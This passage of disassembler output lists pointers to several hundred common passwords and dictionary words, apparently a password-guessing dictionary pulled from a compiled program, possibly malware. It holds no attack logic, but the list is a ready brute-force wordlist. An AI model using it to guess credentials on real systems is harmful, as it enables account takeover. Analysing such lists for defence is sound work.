dd offset aKill ; "kill"
dd offset aKillthem ; "killthem"
dd offset aKilo ; "kilo"
dd offset aKimberly ; "kimberly"
dd offset aKing ; "king"
dd offset aKirk ; "kirk"
dd offset aKirkland ; "kirkland"
dd offset aKiss ; "kiss"
dd offset aKissmyas ; "kissmyas"
dd offset aKitten ; "kitten"
dd offset aKlingon ; "klingon"
dd offset aKnife ; "knife"
dd offset aKnight ; "knight"
dd offset aKnightma ; "knightma"
dd offset aKnown ; "known"
dd offset aKrista ; "krista"
dd offset aKristen ; "kristen"
dd offset aKristi ; "kristi"
dd offset aKristie ; "kristie"
dd offset aKristin ; "kristin"
dd offset aKristine ; "kristine"
dd offset aKristy ; "kristy"
dd offset aLadies ; "ladies"
dd offset aLadle ; "ladle"
dd offset aLakers ; "lakers"
dd offset aLambda ; "lambda"
dd offset aLaminati ; "laminati"
dd offset aLana ; "lana"
dd offset aLaptop ; "laptop"
dd offset aLara ; "lara"
dd offset aLarkin ; "larkin"
dd offset aLarry ; "larry"
dd offset aLaser ; "laser"
dd offset aLaura ; "laura"
dd offset aLava ; "lava"
dd offset aLazarus ; "lazarus"
dd offset aLazer ; "lazer"
dd offset aLeah ; "leah"
dd offset aLebesgue ; "lebesgue"
dd offset aLeft ; "left"
dd offset aLeftwing ; "leftwing"
dd offset aLegal ; "legal"
dd offset aLeland ; "leland"
dd offset aLeroy ; "leroy"
dd offset aLesbian ; "lesbian"
dd offset aLeslie ; "leslie"
dd offset aLetmein ; "letmein"
dd offset aLewis ; "lewis"
dd offset aLexluthe ; "lexluthe"
dd offset aLiberal ; "liberal"
dd offset aLibrary ; "library"
dd offset aLick ; "lick"
dd offset aLicker ; "licker"
dd offset aLife ; "life"
dd offset aLight ; "light"
dd offset aLightsab ; "lightsab"
dd offset aLima ; "lima"
dd offset aLimbaugh ; "limbaugh"
dd offset aLimited ; "limited"
dd offset aLinda ; "linda"
dd offset aLink ; "link"
dd offset aLion ; "lion"
dd offset aLips ; "lips"
dd offset aLisa ; "lisa"
dd offset aLisp ; "lisp"
dd offset aLiteratu ; "literatu"
dd offset aLive ; "live"
dd offset aLoad ; "load"
dd offset aLock ; "lock"
dd offset aLockout ; "lockout"
dd offset aLockword ; "lockword"
dd offset aLogic ; "logic"
dd offset aLoginwor ; "loginwor"
dd offset aLogout ; "logout"
dd offset aLois ; "lois"
dd offset aLolopc ; "lolopc"
dd offset aLoose ; "loose"
dd offset aLore ; "lore"
dd offset aLori ; "lori"
dd offset aLorin ; "lorin"
dd offset aLorraine ; "lorraine"
dd offset aLoser ; "loser"
dd offset aLouis ; "louis"
dd offset aLovebug ; "lovebug"
dd offset aLover ; "lover"
dd offset aLuck ; "luck"
dd offset aLucus ; "lucus"
dd offset aLucy ; "lucy"
dd offset aLude ; "lude"
dd offset aLuke ; "luke"
dd offset aLust ; "lust"
dd offset aLynn ; "lynn"
dd offset aLynne ; "lynne"
dd offset aMachine ; "machine"
dd offset aMacintos ; "macintos"
dd offset aMack ; "mack"
dd offset aMacro ; "macro"
dd offset aMaggot ; "maggot"
dd offset aMagic ; "magic"
dd offset aMagnet ; "magnet"
dd offset aMail ; "mail"
dd offset aMaint ; "maint"
dd offset aMalcolm ; "malcolm"
dd offset aMalcom ; "malcom"
dd offset aMana ; "mana"
dd offset aManager ; "manager"
dd offset aMara ; "mara"
dd offset aMarci ; "marci"
dd offset aMarcy ; "marcy"
dd offset aMaria ; "maria"
dd offset aMariens ; "mariens"
dd offset aMarietta ; "marietta"
dd offset aMarijuan ; "marijuan"
dd offset aMarines ; "marines"
dd offset aMark ; "mark"
dd offset aMarkus ; "markus"
dd offset aMarni ; "marni"
dd offset aMarriage ; "marriage"
dd offset aMars ; "mars"
dd offset aMarty ; "marty"
dd offset aMarvin ; "marvin"
dd offset aMary ; "mary"
dd offset aMason ; "mason"
dd offset aMaster ; "master"
dd offset aMath ; "math"
dd offset aMaurice ; "maurice"
dd offset aMeagan ; "meagan"
dd offset aMegabyte ; "megabyte"
dd offset aMegadeth ; "megadeth"
dd offset aMegan ; "megan"
dd offset aMelissa ; "melissa"
dd offset aMellon ; "mellon"
dd offset aMelrose ; "melrose"
dd offset aMember ; "member"
dd offset aMemory ; "memory"
dd offset aMenace ; "menace"
dd offset aMenu ; "menu"
dd offset aMercury ; "mercury"
dd offset aMerlin ; "merlin"
dd offset aMetal ; "metal"
dd offset aMetalhea ; "metalhea"
dd offset aMetalica ; "metalica"
dd offset aMets ; "mets"
dd offset aMice ; "mice"
dd offset aMichael ; "michael"
dd offset aMichel ; "michel"
dd offset aMichelan ; "michelan"
dd offset aMichele ; "michele"
dd offset aMichelle ; "michelle"
dd offset aMickey ; "mickey"
dd offset aMicro ; "micro"
dd offset aMicrochi ; "microchi"
dd offset aMicropro ; "micropro"
dd offset aMicrosof ; "microsof"
dd offset aMidieval ; "midieval"
dd offset aMike ; "mike"
dd offset aMine ; "mine"
dd offset aMinimum ; "minimum"
dd offset aMinsky ; "minsky"
dd offset aMisfit ; "misfit"
dd offset aMission ; "mission"
dd offset aMkii ; "mkii"
dd offset aMode ; "mode"
dd offset aModem ; "modem"
dd offset aMogul ; "mogul"
dd offset aMoguls ; "moguls"
dd offset aMonday ; "monday"
dd offset aMonica ; "monica"
dd offset aMoom ; "moom"
dd offset aMoor ; "moor"
dd offset aMoose ; "moose"
dd offset aMore ; "more"
dd offset aMorley ; "morley"
dd offset aMorris ; "morris"
dd offset aMortal ; "mortal"
dd offset aMortalco ; "mortalco"
dd offset aMortgage ; "mortgage"
dd offset aMosaic ; "mosaic"
dd offset aMountain ; "mountain"
dd offset aMouse ; "mouse"
dd offset aMove ; "move"
dd offset aMovie ; "movie"
dd offset aMovies ; "movies"
dd offset aMozart ; "mozart"
dd offset aMpeg ; "mpeg"
dd offset aMsdos ; "msdos"
dd offset aMuppets ; "muppets"
dd offset aMutant ; "mutant"
dd offset aNagel ; "nagel"
dd offset aName ; "name"
dd offset aNancy ; "nancy"
dd offset aNapoleon ; "napoleon"
dd offset aNasa ; "nasa"
dd offset aNavy ; "navy"
dd offset aNepenthe ; "nepenthe"
dd offset aNeptune ; "neptune"
dd offset aNess ; "ness"
dd offset aNetscape ; "netscape"
dd offset aNetwork_0 ; "network"
dd offset aNewborn ; "newborn"
dd offset aNews ; "news"
dd offset aNewsgrou ; "newsgrou"
dd offset aNewton ; "newton"
dd offset aNewyork ; "newyork"
dd offset aNext ; "next"
dd offset aNice ; "nice"
dd offset aNicole ; "nicole"
dd offset aNicotine ; "nicotine"
dd offset aNight ; "night"
dd offset aNightmar ; "nightmar"
dd offset aNintendo ; "nintendo"
dd offset aNita ; "nita"
dd offset aNnaacp ; "nnaacp"
dd offset aNoble ; "noble"
dd offset aNobody ; "nobody"
dd offset aNode ; "node"
dd offset aNoreen ; "noreen"
dd offset aNotes ; "notes"
dd offset aNoth ; "noth"
dd offset aNova ; "nova"
dd offset aNovel ; "novel"
dd offset aNovember ; "november"
dd offset aNoxious ; "noxious"
dd offset aNuclear ; "nuclear"
dd offset aNude ; "nude"
dd offset aNuke ; "nuke"
dd offset aNukem ; "nukem"
dd offset aNull_1 ; "null"
dd offset aNumber ; "number"
dd offset aNutritio ; "nutritio"
dd offset aNuts ; "nuts"
dd offset aNyquist ; "nyquist"
dd offset aObscurit ; "obscurit"
dd offset aOceanogr ; "oceanogr"
dd offset aOcelot ; "ocelot"
dd offset aOffice ; "office"
dd offset aOkay ; "okay"
dd offset aOldage ; "oldage"
dd offset aOlivetti ; "olivetti"
dd offset aOlivia ; "olivia"
dd offset aOmega ; "omega"
dd offset aOpen ; "open"
dd offset aOpening ; "opening"
dd offset aOpenlock ; "openlock"
dd offset aOpensesa ; "opensesa"
dd offset aOperator ; "operator"
dd offset aOrca ; "orca"
dd offset aOrient ; "orient"
dd offset aOrwell ; "orwell"
dd offset aOscar ; "oscar"
dd offset aOsiris ; "osiris"
dd offset aOutdoors ; "outdoors"
dd offset aOutlaw ; "outlaw"
dd offset aOutput ; "output"
dd offset aOutside ; "outside"
dd offset aOxford ; "oxford"
dd offset aPacific ; "pacific"
dd offset aPackard ; "packard"
dd offset aPacker ; "packer"
dd offset aPainless ; "painless"
dd offset aPaint ; "paint"
dd offset aPakistan ; "pakistan"
dd offset aPamela ; "pamela"
dd offset aPapa ; "papa"
dd offset aPaper ; "paper"
dd offset aPapers ; "papers"
dd offset aPascal ; "pascal"
dd offset aPassphra ; "passphra"
dd offset aPaste ; "paste"
dd offset aPatricia ; "patricia"
dd offset aPatriot ; "patriot"
dd offset aPatty ; "patty"
dd offset aPaula ; "paula"
dd offset aPeanuts ; "peanuts"
dd offset aPecker ; "pecker"
dd offset aPencil ; "pencil"
dd offset aPenelope ; "penelope"
dd offset aPenguin ; "penguin"
dd offset aPenis ; "penis"
dd offset aPenname ; "penname"
dd offset aPentagon ; "pentagon"
dd offset aPentagra ; "pentagra"
dd offset aPenthous ; "penthous"
dd offset aPentium ; "pentium"
dd offset aPeoria ; "peoria"
dd offset aPepper ; "pepper"
dd offset aPercolat ; "percolat"
dd offset aPerfect ; "perfect"
dd offset aPermit ; "permit"
dd offset aPersimmo ; "persimmo"
dd offset aPersona ; "persona"
dd offset aPervert ; "pervert"
dd offset aPete ; "pete"
dd offset aPeter ; "peter"
dd offset aPhil ; "phil"
dd offset aPhilip ; "philip"
dd offset aPhoenix ; "phoenix"
dd offset aPhone ; "phone"
dd offset aPhoton ; "photon"
dd offset aPhrack ; "phrack"
dd offset aPhrase ; "phrase"
dd offset aPhreak ; "phreak"
dd offset aPhuck ; "phuck"
dd offset aPick ; "pick"
dd offset aPierre ; "pierre"
dd offset aPimp ; "pimp"
dd offset aPinname ; "pinname"
dd offset aPiss ; "piss"
dd offset aPizza ; "pizza"
dd offset aPlane ; "plane"
dd offset aPlayboy ; "playboy"
dd offset aPlover ; "plover"
dd offset aPluto ; "pluto"
dd offset aPlymouth ; "plymouth"
dd offset aPoetry ; "poetry"
dd offset aPolice ; "police"
dd offset aPolly ; "polly"
dd offset aPolynomi ; "polynomi"
dd offset aPonderin ; "ponderin"
dd offset aPoop ; "poop"
dd offset aPoor ; "poor"
dd offset aPork ; "pork"
dd offset aPorn ; "porn"
dd offset aPorno ; "porno"
dd offset aPorsche ; "porsche"
dd offset aPost ; "post"
dd offset aPoster ; "poster"
dd offset aPower ; "power"
dd offset aPraise ; "praise"
dd offset aPrecious ; "precious"
dd offset aPrelude ; "prelude"
dd offset aPresto ; "presto"
dd offset aPrince ; "prince"
dd offset aPrinceto ; "princeto"
dd offset aPrinter ; "printer"
dd offset aPriv ; "priv"
dd offset aPrivate ; "private"
dd offset aPrivs ; "privs"
dd offset aProceed ; "proceed"
dd offset aProcesso ; "processo"
dd offset aProfesso ; "professo"
dd offset aProfile ; "profile"
dd offset aProgram ; "program"
dd offset aPrompt ; "prompt"
dd offset aProtect ; "protect"
dd offset aProtozoa ; "protozoa"
dd offset aPsycho ; "psycho"
dd offset aPsychopa ; "psychopa"
dd offset aPublic ; "public"
dd offset aPuck ; "puck"
dd offset aPuke ; "puke"
dd offset aPumpkin ; "pumpkin"
dd offset aPuneet ; "puneet"
dd offset aPunisher ; "punisher"
dd offset aPunk ; "punk"
dd offset aPuppet ; "puppet"
dd offset aPussy ; "pussy"
dd offset aQuebec ; "quebec"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aRabbit ; "rabbit"
dd offset aRachel ; "rachel"
dd offset aRachelle ; "rachelle"
dd offset aRachmani ; "rachmani"
dd offset aRaid ; "raid"
dd offset aRain ; "rain"
dd offset aRainbow ; "rainbow"
dd offset aRaindrop ; "raindrop"
dd offset aRaleigh ; "raleigh"
dd offset aRandom ; "random"
dd offset aRape ; "rape"
dd offset aRascal ; "rascal"
dd offset aRazor ; "razor"
dd offset aReagan ; "reagan"
dd offset aReality ; "reality"
dd offset aReally ; "really"
dd offset aReam ; "ream"
dd offset aReaper ; "reaper"
dd offset aRebal ; "rebal"
dd offset aRebecca ; "rebecca"
dd offset aRebel ; "rebel"
dd offset aRecord ; "record"
dd offset aReddawn ; "reddawn"
dd offset aRedhead ; "redhead"
dd offset aReferenc ; "referenc"
dd offset aRegional ; "regional"
dd offset aRelease ; "release"
dd offset aRemote ; "remote"
dd offset aRenee ; "renee"
dd offset aReno ; "reno"
dd offset aRent ; "rent"
dd offset aReport ; "report"
dd offset aRepublic ; "republic"
dd offset aResistan ; "resistan"
dd offset aReveal ; "reveal"
dd offset aRhino ; "rhino"
dd offset aRich ; "rich"
dd offset aRick ; "rick"
dd offset aRiffraff ; "riffraff"
dd offset aRight ; "right"
dd offset aRightwin ; "rightwin"
dd offset aRing ; "ring"
dd offset aRiot ; "riot"
dd offset aRipple ; "ripple"
dd offset aRisc ; "risc"
dd offset aRoach ; "roach"
dd offset aRobert ; "robert"
dd offset aRobin ; "robin"
dd offset aRobot ; "robot"
dd offset aRobotics ; "robotics"
dd offset aRobyn ; "robyn"
dd offset aRochelle ; "rochelle"
dd offset aRocheste ; "rocheste"
dd offset aRock ; "rock"
dd offset aRocky ; "rocky"
dd offset aRockyhor ; "rockyhor"
dd offset aRodent ; "rodent"
dd offset aRolex ; "rolex"
dd offset aRomano ; "romano"
dd offset aRomeo ; "romeo"
dd offset aRomulan ; "romulan"
dd offset aRonald ; "ronald"
dd offset aRose ; "rose"
dd offset aRosebud ; "rosebud"
dd offset aRosemary ; "rosemary"
dd offset aRoses ; "roses"
dd offset aRough ; "rough"
dd offset aRubber ; "rubber"
dd offset aRuben ; "ruben"
dd offset aRuby ; "ruby"
dd offset aRude ; "rude"
dd offset aRules ; "rules"
dd offset aRunning ; "running"
dd offset aRush ; "rush"
dd offset aRuth ; "ruth"
dd offset aSafe ; "safe"
dd offset aSalami ; "salami"
dd offset aSale ; "sale"
dd offset aSalt ; "salt"
dd offset aSamantha ; "samantha"
dd offset aSample ; "sample"
dd offset aSandra ; "sandra"
dd offset aSandy ; "sandy"
dd offset aSara ; "sara"
dd offset aSarah ; "sarah"
dd offset aSaturday ; "saturday"
dd offset aSaturn ; "saturn"
dd offset aSaxon ; "saxon"
dd offset aScamper ; "scamper"
dd offset aScheme ; "scheme"
dd offset aSchool ; "school"
dd offset aSchoolsucks ; "schoolsucks"
dd offset aScifi ; "scifi"
dd offset aScorpion ; "scorpion"
dd offset aScott ; "scott"
dd offset aScotty ; "scotty"
dd offset aScout ; "scout"
dd offset aSearch ; "search"
dd offset aSecurity ; "security"
dd offset aSeed ; "seed"
dd offset aSega ; "sega"
dd offset aSensor ; "sensor"
dd offset aSentinel ; "sentinel"
dd offset aSentry ; "sentry"
dd offset aSerenity ; "serenity"
dd offset aSerial_0 ; "serial"
dd offset aService ; "service"
dd offset aSesame ; "sesame"
dd offset aSexy ; "sexy"
dd offset aShannon ; "shannon"
dd offset aSharc ; "sharc"
dd offset aShark ; "shark"
dd offset aSharks ; "sharks"
dd offset aSharon ; "sharon"
dd offset aSheffiel ; "sheffiel"
dd offset aSheldon ; "sheldon"
dd offset aShell ; "shell"
dd offset aSherri ; "sherri"
dd offset aShift ; "shift"
dd offset aShirley ; "shirley"
dd offset aShit ; "shit"
dd offset aShitpot ; "shitpot"
dd offset aShiva ; "shiva"
dd offset aShivers ; "shivers"
dd offset aShort ; "short"
dd offset aShuttle ; "shuttle"
dd offset aSick ; "sick"
dd offset aSierra ; "sierra"
dd offset aSignatur ; "signatur"
dd offset aSilver ; "silver"
dd offset aSimcity ; "simcity"
dd offset aSimon ; "simon"
dd offset aSimple ; "simple"
dd offset aSimpsons ; "simpsons"
dd offset aSimulati ; "simulati"
dd offset aSinger ; "singer"
dd offset aSingle ; "single"
dd offset aSite ; "site"
dd offset aSkull ; "skull"
dd offset aSlave ; "slave"
dd offset aSlick ; "slick"
dd offset aSliders ; "sliders"
dd offset aSlow ; "slow"
dd offset aSlut ; "slut"
dd offset aSmall ; "small"
dd offset aSmart ; "smart"
dd offset aSmile ; "smile"
dd offset aSmiles ; "smiles"
dd offset aSmooch ; "smooch"
dd offset aSmother ; "smother"
dd offset aSmtp ; "smtp"
dd offset aSmut ; "smut"
dd offset aSnach ; "snach"
dd offset aSnafu ; "snafu"
dd offset aSnake ; "snake"
dd offset aSnatch ; "snatch"
dd offset aSnoopy ; "snoopy"
dd offset aSoap ; "soap"
dd offset aSocial ; "social"
dd offset aSocrates ; "socrates"
dd offset aSodomy ; "sodomy"
dd offset aSoft ; "soft"
dd offset aSoftware ; "software"
dd offset aSomebody ; "somebody"
dd offset aSondra ; "sondra"
dd offset aSonia ; "sonia"
dd offset aSonic ; "sonic"
dd offset aSonya ; "sonya"
dd offset aSossina ; "sossina"
dd offset aSource ; "source"
dd offset aSouth ; "south"
dd offset aSpaceshi ; "spaceshi"
dd offset aSparrows ; "sparrows"
dd offset aSpear ; "spear"
dd offset aSpell ; "spell"
dd offset aSpice ; "spice"
dd offset aSpider ; "spider"
dd offset aSpiderma ; "spiderma"
dd offset aSpit ; "spit"
dd offset aSpred ; "spred"
dd offset aSpring ; "spring"
dd offset aSpringer ; "springer"
dd offset aSpunk ; "spunk"
dd offset aSquires ; "squires"
dd offset aSr71 ; "sr71"
dd offset aStacey ; "stacey"
dd offset aStaci ; "staci"
dd offset aStacie ; "stacie"
dd offset aStacy ; "stacy"
dd offset aStar ; "star"
dd offset aStarship ; "starship"
dd offset aStart ; "start"
dd offset aStartrek ; "startrek"
dd offset aStartup ; "startup"
dd offset aStarwars ; "starwars"
dd offset aSteak ; "steak"
dd offset aSteal ; "steal"
dd offset aSteel ; "steel"
dd offset aSteph ; "steph"
dd offset aStephani ; "stephani"
dd offset aStereo ; "stereo"
dd offset aSteve ; "steve"
dd offset aStoneage ; "stoneage"
dd offset aStoned ; "stoned"
dd offset aStones ; "stones"
dd offset aStrange ; "strange"
dd offset aStrangle ; "strangle"
dd offset aStratfor ; "stratfor"
dd offset aStreetfi ; "streetfi"
dd offset aString ; "string"
dd offset aStrip ; "strip"
dd offset aStudent ; "student"
dd offset aStuttgar ; "stuttgar"
dd offset aSubscrib ; "subscrib"
dd offset aSubway ; "subway"
dd offset aSuccess ; "success"
dd offset aSuck ; "suck"
dd offset aSuckmydi ; "suckmydi"
dd offset aSucks ; "sucks"
dd offset aSummer ; "summer"
dd offset aSunday ; "sunday"
dd offset aSuperman ; "superman"
dd offset aSuperson ; "superson"
dd offset aSupersta ; "supersta"
dd offset aSuperuse ; "superuse"
dd offset aSupervis ; "supervis"
dd offset aSupport ; "support"
dd offset aSupporte ; "supporte"
dd offset aSurfer ; "surfer"
dd offset aSurfing ; "surfing"
dd offset aSusan ; "susan"
dd offset aSusanne ; "susanne"
dd offset aSusie ; "susie"
dd offset aSuzanne ; "suzanne"
dd offset aSuzie ; "suzie"
dd offset aSwearer ; "swearer"
dd offset aSweat ; "sweat"
dd offset aSwitch ; "switch"
dd offset aSword ; "sword"
dd offset aSybil ; "sybil"
dd offset aSymmetry ; "symmetry"
dd offset aSysadmin ; "sysadmin"
dd offset aSysop ; "sysop"
dd offset aTabasco ; "tabasco"
dd offset aTalk ; "talk"
dd offset aTall ; "tall"
dd offset aTamara ; "tamara"
dd offset aTami ; "tami"
dd offset aTamie ; "tamie"
dd offset aTammy ; "tammy"
dd offset aTangerin ; "tangerin"
dd offset aTango ; "tango"
dd offset aTape ; "tape"
dd offset aTara ; "tara"
dd offset aTarget ; "target"
dd offset aTarragon ; "tarragon"
dd offset aTaylor ; "taylor"
dd offset aTeacher ; "teacher"
dd offset aTeam ; "team"
dd offset aTeapot ; "teapot"
dd offset aTears ; "tears"
dd offset aTech ; "tech"
dd offset aTeen ; "teen"
dd offset aTeenage ; "teenage"
dd offset aTelephon ; "telephon"
dd offset aTelnet ; "telnet"
dd offset aTemptati ; "temptati"
dd offset aTennis ; "tennis"
dd offset aTera ; "tera"
dd offset aTerminal ; "terminal"
dd offset aTerminat ; "terminat"
dd offset aTess ; "tess"
dd offset aTetris ; "tetris"
dd offset aText ; "text"
dd offset aThailand ; "thailand"
dd offset aTheresa ; "theresa"
dd offset aThin ; "thin"
dd offset aThursday ; "thursday"
dd offset aTiffany ; "tiffany"
dd offset aTiger ; "tiger"
dd offset aTime ; "time"
dd offset aTina ; "tina"
dd offset aTits ; "tits"
dd offset aToad ; "toad"
dd offset aToggle ; "toggle"
dd offset aToken ; "token"
dd offset aTokenrin ; "tokenrin"
dd offset aTomato ; "tomato"
dd offset aTopograp ; "topograp"
dd offset aTortoise ; "tortoise"
dd offset aToxic ; "toxic"
dd offset aToyota ; "toyota"
dd offset aTraci ; "traci"
dd offset aTracie ; "tracie"
dd offset aTracy ; "tracy"
dd offset aTrails ; "trails"
dd offset aTransfer ; "transfer"
dd offset aTrap ; "trap"
dd offset aTrapdoor ; "trapdoor"
dd offset aTree ; "tree"
dd offset aTrek ; "trek"
dd offset aTrisha ; "trisha"
dd offset aTrivial ; "trivial"
dd offset aTrojan ; "trojan"
dd offset aTrombone ; "trombone"
dd offset aTron ; "tron"
dd offset aTrue ; "true"
dd offset aTruth ; "truth"
dd offset aTubas ; "tubas"
dd offset aTuesday ; "tuesday"
dd offset aTurn ; "turn"
dd offset aTuttle ; "tuttle"
dd offset aUgly ; "ugly"
dd offset aUmesh ; "umesh"
dd offset aUncle ; "uncle"
dd offset aUndo ; "undo"
dd offset aUnhappy ; "unhappy"
dd offset aUnicorn ; "unicorn"
dd offset aUniform ; "uniform"
dd offset aUniversa ; "universa"
dd offset aUniverse ; "universe"
dd offset aUniversi ; "universi"
dd offset aUnknown_0 ; "unknown"
dd offset aUnlock ; "unlock"
dd offset aUpload ; "upload"
dd offset aUranus ; "uranus"
dd offset aUrchin ; "urchin"
dd offset aUrsula ; "ursula"
dd offset aUsenet ; "usenet"
dd offset aUsermane ; "usermane"
dd offset aUsername ; "username"
dd offset aUsmc ; "usmc"
dd offset aUtil ; "util"
dd offset aUtility ; "utility"
dd offset aUucp ; "uucp"
dd offset aVagina ; "vagina"
dd offset aValerie ; "valerie"
dd offset aVampire ; "vampire"
dd offset aVasant ; "vasant"
dd offset aVenus ; "venus"
dd offset aVeronica ; "veronica"
dd offset aVertigo ; "vertigo"
dd offset aVicky ; "vicky"
dd offset aVictor ; "victor"
dd offset aVideo ; "video"
dd offset aVideogam ; "videogam"
dd offset aVillage ; "village"
dd offset aVirgin ; "virgin"
dd offset aVirginia ; "virginia"
dd offset aVirus ; "virus"
dd offset aVisitor ; "visitor"
dd offset aVisual ; "visual"
dd offset aVisualba ; "visualba"
dd offset aVodka ; "vodka"
dd offset aWaco ; "waco"
dd offset aWard ; "ward"
dd offset aWarez ; "warez"
dd offset aWarfare ; "warfare"
dd offset aWargames ; "wargames"
dd offset aWarp ; "warp"
dd offset aWarren ; "warren"
dd offset aWasp ; "wasp"
dd offset aWatchwor ; "watchwor"
dd offset aWater ; "water"
dd offset aWave ; "wave"
dd offset aWebpage ; "webpage"
dd offset aWednesda ; "wednesda"
dd offset aWeed ; "weed"
dd offset aWeenie ; "weenie"
dd offset aWell ; "well"
dd offset aWendi ; "wendi"
dd offset aWendy ; "wendy"
dd offset aWerewolf ; "werewolf"
dd offset aWest ; "west"
dd offset aWestern ; "western"
dd offset aWhatever ; "whatever"
dd offset aWhatnot ; "whatnot"
dd offset aWhisky ; "whisky"
dd offset aWhite ; "white"
dd offset aWhiting ; "whiting"
dd offset aWhitney ; "whitney"
dd offset aWholesal ; "wholesal"
dd offset aWhore ; "whore"
dd offset aWill ; "will"
dd offset aWilliam ; "william"
dd offset aWilliams ; "williams"
dd offset aWillie ; "willie"
dd offset aWilma ; "wilma"
dd offset aWindows ; "windows"
dd offset aWine ; "wine"
dd offset aWing ; "wing"
dd offset aWinston ; "winston"
dd offset aWired ; "wired"
dd offset aWisconsi ; "wisconsi"
dd offset aWiseass ; "wiseass"
dd offset aWithin ; "within"
dd offset aWizard ; "wizard"
dd offset aWolf ; "wolf"
dd offset aWolverin ; "wolverin"
dd offset aWoman ; "woman"
dd offset aWombat ; "wombat"
dd offset aWomen ; "women"
dd offset aWood ; "wood"
dd offset aWoodwind ; "woodwind"
dd offset aWord ; "word"
dd offset aWordperf ; "wordperf"
dd offset aWorf ; "worf"
dd offset aWork ; "work"
dd offset aWorm ; "worm"
dd offset aWormwood ; "wormwood"
dd offset aWwii ; "wwii"
dd offset aWyoming ; "wyoming"
dd offset aXena ; "xena"
dd offset aXfer ; "xfer"
dd offset aXman ; "xman"
dd offset aXmen ; "xmen"
dd offset aXmodem ; "xmodem"
dd offset aXray ; "xray"
dd offset aXyzzy ; "xyzzy"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aYankee ; "yankee"
dd offset aYellow ; "yellow"
dd offset aYellowst ; "yellowst"
dd offset aYolanda ; "yolanda"
dd offset aYosemite ; "yosemite"
dd offset aYoung ; "young"
dd offset aZebra ; "zebra"
dd offset aZeitgeis ; "zeitgeis"
dd offset aZiggy ; "ziggy"
dd offset aZimmerma ; "zimmerma"
dd offset aZmodem ; "zmodem"
dd offset aZombie ; "zombie"
dd offset aZulu ; "zulu"
dd offset a00000000 ; "00000000"
dd offset aTester ; "tester"
dd offset aTestin ; "testin"
dd offset aRoss ; "Ross"
dd offset aRosco ; "Rosco"
dd offset aRoscop ; "RoscoP"
dd offset aRoscopcoltrane ; "RoscoPColtrane"
dd offset aLol ; "lol"
dd offset aD00d ; "d00d"
dd offset aDudette ; "dudette"
dd offset aDud3 ; "dud3"
dd offset aAl3x ; "Al3x"
dd offset aAlexander ; "Alexander"
dd offset aDonaldduck ; "donaldduck"
dd offset aWileecoyote ; "wileecoyote"
dd offset aWindowz ; "windowz"
dd offset aWindoze ; "windoze"
dd offset aWindose ; "windose"
dd offset aBilly ; "billy"
dd offset aM_1 ; "M$"
dd offset aMs ; "MS"
dd offset aWindowsxp ; "WindowsXP"
dd offset aWindows2k ; "windows2k"
dd offset aWindowsme ; "windowsME"
dd offset aWindows98 ; "windows98"
dd offset aWindows95 ; "windows95"
dd offset aWindozexp ; "windozexp"
dd offset aWindoze2k ; "windoze2k"
dd offset aWindozeme ; "windozeME"
dd offset aWindoze98 ; "windoze98"
dd offset aWindoze95 ; "windoze95"
dd offset aWh0r3 ; "wh0r3"
dd offset aHo ; "ho"
dd offset aWh0re ; "wh0re"
dd offset aHax ; "hax"
dd offset aHaxing ; "haxing"
dd offset aH4x1ng ; "h4x1ng"
dd offset aH4x0r1ng ; "h4x0r1ng"
dd offset aH4x0ring ; "h4x0ring"
dd offset aAda ; "ada"
dd offset aAlbatross ; "albatross"
dd offset aAlf ; "alf"
dd offset aAma ; "ama"
dd offset aAmorphous ; "amorphous"
dd offset aAmy ; "amy"
dd offset aAndromache ; "andromache"
dd offset aAnn ; "ann"
dd offset aAnthropogenic ; "anthropogenic"
dd offset aAsd ; "asd"
dd offset aAsm ; "asm"
dd offset aAtmosphere ; "atmosphere"
dd offset aBeethoven ; "beethoven"
dd offset aBicameral ; "bicameral"
dd offset aBob ; "bob"
dd offset aBsd ; "bsd"
dd offset aCad ; "cad"
dd offset aCampanile ; "campanile"
dd offset aCat ; "cat"
dd offset aCatherine ; "catherine"
dd offset aChemistry ; "chemistry"
dd offset aChristina ; "christina"
dd offset aChristine ; "christine"
dd offset aCommrades ; "commrades"
dd offset aCornelius ; "cornelius"
dd offset aDeb ; "deb"
dd offset aDesperate ; "desperate"
dd offset aDiscovery ; "discovery"
dd offset aDog ; "dog"
dd offset aDos ; "dos"
dd offset aEdinburgh ; "edinburgh"
dd offset aEiderdown ; "eiderdown"
dd offset aElizabeth ; "elizabeth"
dd offset aEnterprise ; "enterprise"
dd offset aEstablish ; "establish"
dd offset aExtension ; "extension"
dd offset aFoolproof ; "foolproof"
dd offset aForesight ; "foresight"
dd offset aFun ; "fun"
dd offset aGnu ; "gnu"
dd offset aHal ; "hal"
dd offset aHappening ; "happening"
dd offset aIbm ; "ibm"
dd offset aImbroglio ; "imbroglio"
dd offset aInnocuous ; "innocuous"
dd offset aJen ; "jen"
dd offset aJoy ; "joy"
dd offset aKey ; "key"
dd offset aKim ; "kim"
dd offset aLamination ; "lamination"
dd offset aLee ; "lee"
dd offset aLiz ; "liz"
dd offset aMacintosh ; "macintosh"
dd offset aMgr ; "mgr"
dd offset aMit ; "mit"
dd offset aNet ; "net"
dd offset aNew ; "new"
dd offset aNutrition ; "nutrition"
dd offset aOceanography ; "oceanography"
dd offset aPad ; "pad"
dd offset aPam ; "pam"
dd offset aPercolate ; "percolate"
dd offset aPersimmon ; "persimmon"
dd offset aPolynomial ; "polynomial"
dd offset aPondering ; "pondering"
dd offset aPrinceton ; "princeton"
dd offset aProfessor ; "professor"
dd offset aPub ; "pub"
dd offset aRachmaninoff ; "rachmaninoff"
dd offset aRje ; "rje"
dd offset aRochester ; "rochester"
dd offset aSal ; "sal"
dd offset aSheffield ; "sheffield"
dd offset aSignature ; "signature"
dd offset aStephanie ; "stephanie"
dd offset aStratford ; "stratford"
dd offset aStuttgart ; "stuttgart"
dd offset aSun ; "sun"
dd offset aSuperstage ; "superstage"
dd offset aSuperuser ; "superuser"
dd offset aSupported ; "supported"
dd offset aSys ; "sys"
dd offset aTangerine ; "tangerine"
dd offset aTelephone ; "telephone"
dd offset aTemptation ; "temptation"
dd offset aTopography ; "topography"
dd offset aTty ; "tty"
dd offset aWholesale ; "wholesale"
dd offset aWilliamsburg ; "williamsburg"
dd offset aWisconsin ; "wisconsin"
dd offset aXyz ; "xyz"
dd offset aYellowstone ; "yellowstone"
dd offset aZap ; "zap"
dd offset aZimmerman ; "zimmerman"
dd offset dword_42F4B4
dd offset dword_42F4B0
dd offset dword_42F4AC
dd offset dword_42F4A8
dd offset dword_42F4A0
dd offset dword_42F498
dd offset dword_42F490
